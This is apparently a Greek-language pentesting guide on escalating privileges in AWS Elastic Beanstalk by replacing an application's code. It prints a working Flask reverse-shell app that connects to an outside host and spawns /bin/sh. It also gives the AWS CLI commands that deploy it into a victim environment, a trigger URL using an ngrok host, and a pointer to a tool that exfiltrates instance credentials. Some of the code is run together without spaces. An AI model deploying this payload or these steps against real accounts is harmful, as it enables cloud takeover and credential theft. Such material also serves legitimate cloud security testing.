Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk θα χρειαστείτε πολλές ευαίσθητες άδειες σε πολλές διαφορετικές υπηρεσίες. Μπορείτε να ελέγξετε για παράδειγμα τις άδειες που δίνονται στο arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, Δικαιώματα εγγραφής στο S3 & πολλά άλλα
Με δικαιώματα εγγραφής στον κάδο S3 που περιέχει το κώδικα του περιβάλλοντος και δικαιώματα για ανακατασκευή της εφαρμογής (χρειάζεται elasticbeanstalk:RebuildEnvironment και μερικά ακόμα σχετικά με S3, EC2 και Cloudformation), μπορείτε να τροποποιήσετε τον κώδικα, να ανακατασκευάσετε την εφαρμογή και την επόμενη φορά που θα έχετε πρόσβαση στην εφαρμογή θα εκτελέσει τον νέο κώδικά σας, επιτρέποντας στον εισβολέα να διακινδυνεύσει την εφαρμογή και τα διαπιστευτήρια του ρόλου IAM της.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, και περισσότερα...
Τα ανωτέρω συν μερικές άλλες άδειες για S3, EC2, cloudformation ,autoscaling και elasticloadbalancing είναι απαραίτητες για τη δημιουργία ενός σεναρίου Elastic Beanstalk από το μηδέν.
Καταρχάς, πρέπει να δημιουργήσετε ένα πραγματικό περιβάλλον Beanstalk με τον κώδικα που θέλετε να εκτελέσετε στο θύμα ακολουθώντας τα προηγούμενα βήματα. Πιθανώς ένα απλό zip που περιέχει αυτά τα 2 αρχεία:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Αφού έχετε το δικό σας περιβάλλον Beanstalk εκτελούμενο το rev shell σας, είναι ώρα να το μεταφέρετε στο περιβάλλον του θύματος. Για να το κάνετε αυτό, πρέπει να ενημερώσετε την πολιτική του Bucket του S3 του beanstalk ώστε το θύμα να μπορεί να το προσπελάσει (Σημειώστε ότι αυτό θα το κάνει να είναι ανοιχτό σε ΟΛΟΥΣ):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.